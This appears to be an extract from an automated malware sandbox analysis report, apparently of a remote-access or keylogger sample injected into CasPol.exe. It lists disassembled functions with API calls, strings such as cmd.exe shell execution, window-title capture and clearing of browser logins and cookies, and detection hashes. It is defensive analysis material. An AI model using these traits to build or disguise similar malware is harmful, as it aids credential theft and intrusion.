                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExecuteShell
                                                                                                                                                                                                  • String ID: /C $cmd.exe$open
                                                                                                                                                                                                  • API String ID: 587946157-3896048727
                                                                                                                                                                                                  • Opcode ID: 6b954565fb865431a8f0571ad86dfb8a094b841cbf93f4f8f4d3cab274959172
                                                                                                                                                                                                  • Instruction ID: 08f4dee505367bf09000beb2be63de5ecd082ae46aa0e0363999309db21c3e05
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6b954565fb865431a8f0571ad86dfb8a094b841cbf93f4f8f4d3cab274959172
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5EE0C0B0204305ABC605F675DC96CBF73ADAA94749B50483F7142A20E2EF7C9D49C65D
                                                                                                                                                                                                  Function 0040B8E7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • TerminateThread.KERNEL32(0040A2B8,00000000,004752F0,pth_unenc,0040D0F3,004752D8,004752F0,?,pth_unenc), ref: 0040B8F6
                                                                                                                                                                                                  • UnhookWindowsHookEx.USER32 ref: 0040B902
                                                                                                                                                                                                  • TerminateThread.KERNEL32(Function_0000A2A2,00000000,?,pth_unenc), ref: 0040B910
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: TerminateThread$HookUnhookWindows
                                                                                                                                                                                                  • String ID: pth_unenc
                                                                                                                                                                                                  • API String ID: 3123878439-4028850238
                                                                                                                                                                                                  • Opcode ID: e1cbc6e2d6c434028aa849536a2aaf0ad10149223ccd3897ab004e8dbc05b34a
                                                                                                                                                                                                  • Instruction ID: 372ac16de24f92ae7b862ff59389ff52a9cc8b3ac2037ffe6dc6d1e564519698
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e1cbc6e2d6c434028aa849536a2aaf0ad10149223ccd3897ab004e8dbc05b34a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 71E01272204315EFD7201F909C888667AADEE1539632409BEF6C261BB6CB7D4C54C79D
                                                                                                                                                                                                  Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                  • String ID: GetCursorInfo$User32.dll
                                                                                                                                                                                                  • API String ID: 1646373207-2714051624
                                                                                                                                                                                                  • Opcode ID: d896883a00b7c9d91a41f0e937368129b1e8cf7bb1ae53218dcc7360cef0261f
                                                                                                                                                                                                  • Instruction ID: 8b26e8b19aea132afe7ec2793fcae50f4a2deac5c44528798ee909e27cd98dc2
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d896883a00b7c9d91a41f0e937368129b1e8cf7bb1ae53218dcc7360cef0261f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6BB092B4981740FB8F102BB0AE4EA193A25B614703B1008B6F046961A2EBB888009A2E
                                                                                                                                                                                                  Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                  • String ID: GetLastInputInfo$User32.dll
                                                                                                                                                                                                  • API String ID: 2574300362-1519888992
                                                                                                                                                                                                  • Opcode ID: 97ca63f656fbe05ba3a699769711b358361c41ed64750357eec187df6322536e
                                                                                                                                                                                                  • Instruction ID: d02e03e3b89f99dad65f23c179d95e13f318a7fd709defe56253aab8848571e2
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 97ca63f656fbe05ba3a699769711b358361c41ed64750357eec187df6322536e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: EFB092B8580300FBCB102FA0AD4E91E3A68AA18703B1008A7F441C21A1EBB888009F5F
                                                                                                                                                                                                  Function 0044A084 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: __alldvrm$_strrchr
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1036877536-0
                                                                                                                                                                                                  • Opcode ID: 70c324bd787235ec34b4410bef6e6c487e79153caf11c4279a27308c3ab035ac
                                                                                                                                                                                                  • Instruction ID: 8ce1af842cd152cb2b2428f5d584a25f6c9224aafe101b92c03b71ca88d34985
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 70c324bd787235ec34b4410bef6e6c487e79153caf11c4279a27308c3ab035ac
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 87A156729846829FF721CF58C8817AEBBA5FF15314F2841AFE8859B381D27C8C51C75A
                                                                                                                                                                                                  Function 00456C9A Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 269201875-0
                                                                                                                                                                                                  • Opcode ID: 5a84445a6d60efe319971740dde2d2f541f568e0726df331b0a843d8179482b0
                                                                                                                                                                                                  • Instruction ID: 6f8591e81a910498abf0b0e408487d1c0faf04506bf4bd3dd9e850377c22d226
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5a84445a6d60efe319971740dde2d2f541f568e0726df331b0a843d8179482b0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 34413931B00104AAEB207B7A9C4666F3AB5DF45735F570A1FFD28C7293DA7C481D426A
                                                                                                                                                                                                  Function 00442851 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 423e02715d989b220add50ecbde53982322c6e48bca96a6cd7fe69295545b5c8
                                                                                                                                                                                                  • Instruction ID: b0a34e1ed6630e1fb57c9e62860a3601010315cd62f19612bff23542d182db60
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 423e02715d989b220add50ecbde53982322c6e48bca96a6cd7fe69295545b5c8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 70412AB1600704BFE724AF79CD41B5EBBE8EB88714F10462FF145DB281E3B999058798
                                                                                                                                                                                                  Function 100086E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,10006FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 10008731
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100087BA
                                                                                                                                                                                                  • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100087CC
                                                                                                                                                                                                  • __freea.LIBCMT ref: 100087D5
                                                                                                                                                                                                    • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2652629310-0
                                                                                                                                                                                                  • Opcode ID: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                                                                                                                                  • Instruction ID: 5b9b35b0a4db414dac5c81271493033b4f2f0f3dd9b893eeefd60fa04c8ec889
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2731AE32A0021AABEF15CF64CC85EAF7BA5EF44290F214129FC48D7158EB35DE50CBA0
                                                                                                                                                                                                  Function 0040C047 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • Cleared browsers logins and cookies., xrefs: 0040C130
                                                                                                                                                                                                  • [Cleared browsers logins and cookies.], xrefs: 0040C11F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Sleep
                                                                                                                                                                                                  • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                                                                                                                                  • API String ID: 3472027048-1236744412
                                                                                                                                                                                                  • Opcode ID: af2c2d963010d4b9fe0ed32b7540b86f028afa125e63126aea6004068ef018c7
                                                                                                                                                                                                  • Instruction ID: 5a72b8a34604a64e244bad04561a930bad76f77e78bf22f3e088d6afb7384554
                                                                                                                                                                                                  • Opcode Fuzzy Hash: af2c2d963010d4b9fe0ed32b7540b86f028afa125e63126aea6004068ef018c7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A431A805648381EDD6116BF514967AB7B824A53748F0882BFB8C4373C3DA7A4808C79F
                                                                                                                                                                                                  Function 004194FF Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • EnumDisplayMonitors.USER32(00000000,00000000,0041960A,00000000), ref: 00419530
                                                                                                                                                                                                  • EnumDisplayDevicesW.USER32(?), ref: 00419560
                                                                                                                                                                                                  • EnumDisplayDevicesW.USER32(?,?,?,00000000), ref: 004195D5
                                                                                                                                                                                                  • EnumDisplayDevicesW.USER32(00000000,00000000,?,00000000), ref: 004195F2
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DisplayEnum$Devices$Monitors
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1432082543-0
                                                                                                                                                                                                  • Opcode ID: 307544a1efd678830df2dab17394228d9bd71c3d3133ae3f2bbfdbf915fafe35
                                                                                                                                                                                                  • Instruction ID: 2d7c1ce958f8de7f9ce17d43b909e87ea7509c435c2805f0bc90a8abde121c81
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 307544a1efd678830df2dab17394228d9bd71c3d3133ae3f2bbfdbf915fafe35
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 232180721083146BD221DF26DC89EABBBECEBD1754F00053FF45AD3190EB749A49C66A
                                                                                                                                                                                                  Function 0040A564 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041C5E2: GetForegroundWindow.USER32 ref: 0041C5F2
                                                                                                                                                                                                    • Part of subcall function 0041C5E2: GetWindowTextLengthW.USER32(00000000), ref: 0041C5FB
                                                                                                                                                                                                    • Part of subcall function 0041C5E2: GetWindowTextW.USER32(00000000,00000000,00000001,00000001,00000000), ref: 0041C625
                                                                                                                                                                                                  • Sleep.KERNEL32(000001F4), ref: 0040A5AE
                                                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 0040A638
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$SleepText$ForegroundLength
                                                                                                                                                                                                  • String ID: [ $ ]
                                                                                                                                                                                                  • API String ID: 3309952895-93608704
                                                                                                                                                                                                  • Opcode ID: f02f1a0373de4d905e268f57495fa08b349ea431ac4d969b5d726f466b44a1dd
                                                                                                                                                                                                  • Instruction ID: 6255842b65d5da3793f092b3f1447ea5db7efb23f61c0c2d19f8aa6a86066f85
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f02f1a0373de4d905e268f57495fa08b349ea431ac4d969b5d726f466b44a1dd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CB119F315143006BC614BB26CC579AF77A8AB90348F40083FF552661E3EF79AE18869B
                                                                                                                                                                                                  Function 0041B890 Relevance: 6.1, APIs: 4, Instructions: 63timesleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: SystemTimes$Sleep__aulldiv
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 188215759-0
                                                                                                                                                                                                  • Opcode ID: 32d4930cb2be9b30136c829dd369e4a23351f3455ccfda4be26c85d87a7cef4d
                                                                                                                                                                                                  • Instruction ID: 634937a4cd8d43e921f59083ecd148feda9109121ee8127270144c35be039893
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 32d4930cb2be9b30136c829dd369e4a23351f3455ccfda4be26c85d87a7cef4d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D01133B35043456BC304EAB5CD85DEF779CEBC4358F040A3EF64982061EE29E94986A6
                                                                                                                                                                                                  Function 00443AD3 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: fcebbc467d131149bede3708c03e30a5933a8f2bf6fa192c1d79c37d30f8ae05
                                                                                                                                                                                                  • Instruction ID: 2af8e1c260e5220142bf0b5f8a7e988c949d9a3a1697e0ff4d6bcf25ce69da1b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fcebbc467d131149bede3708c03e30a5933a8f2bf6fa192c1d79c37d30f8ae05
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7E01F2B26093557EFA202E786CC2F67630DCB51FBAB31033BB520612D2DB68DD40452C
                                                                                                                                                                                                  Function 00443B52 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: d36049e99d51c5662ea1cdccde7f001ca18baa555cb14a41c95be32ad22d597f
                                                                                                                                                                                                  • Instruction ID: 437de9af4247593539f95cdbb70b1dc5411192884b5f12beac7b10196549b189
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d36049e99d51c5662ea1cdccde7f001ca18baa555cb14a41c95be32ad22d597f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CB01ADB26096527ABA202E796CC5E27634CDB42BBA335037BF821512E3DF68DE054169
                                                                                                                                                                                                  Function 0041C26E Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C286
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C299
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041C2C4
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041C2CC
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseHandleOpenProcess
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 39102293-0
                                                                                                                                                                                                  • Opcode ID: e1074fac5642d3b73ea46f905cbac139ffb473db2c7b30d838fbef5372722d9f
                                                                                                                                                                                                  • Instruction ID: 82f86893bb8475317186349f6084970b7a3011258d8579340058f5d8518f4318
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e1074fac5642d3b73ea46f905cbac139ffb473db2c7b30d838fbef5372722d9f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9C01F231680215ABD61066949C8AFA7B66C8B84756F0001ABFA08D22A2EF74CD81466A
                                                                                                                                                                                                  Function 004398E3 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ___BuildCatchObject.LIBVCRUNTIME ref: 004398FA
                                                                                                                                                                                                    • Part of subcall function 00439F32: ___AdjustPointer.LIBCMT ref: 00439F7C
                                                                                                                                                                                                  • _UnwindNestedFrames.LIBCMT ref: 00439911
                                                                                                                                                                                                  • ___FrameUnwindToState.LIBVCRUNTIME ref: 00439923
                                                                                                                                                                                                  • CallCatchBlock.LIBVCRUNTIME ref: 00439947
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2633735394-0
                                                                                                                                                                                                  • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                                                                                                                                  • Instruction ID: 1eef882e9718bbd9a0ab38cd68ce054dbb3f9d4064fa539f417e17899f1f7293
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 38010532000109BBCF125F56CC01EDA3BAAEF5C754F05901AF95865221C3BAE862ABA4
                                                                                                                                                                                                  Function 0041941E Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetSystemMetrics.USER32(0000004C,?,?,?,?,00000000,004194DE,00000000,00000000), ref: 0041942B
                                                                                                                                                                                                  • GetSystemMetrics.USER32(0000004D,?,?,?,?,00000000,004194DE,00000000,00000000), ref: 00419431
                                                                                                                                                                                                  • GetSystemMetrics.USER32(0000004E,?,?,?,?,00000000,004194DE,00000000,00000000), ref: 00419437
                                                                                                                                                                                                  • GetSystemMetrics.USER32(0000004F,?,?,?,?,00000000,004194DE,00000000,00000000), ref: 0041943D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: MetricsSystem
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4116985748-0
                                                                                                                                                                                                  • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                                                                                                                                                                  • Instruction ID: fd4820a3fb0c8fcfb80096478546269f04700e3de9cdf271d69d174aa35805c7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
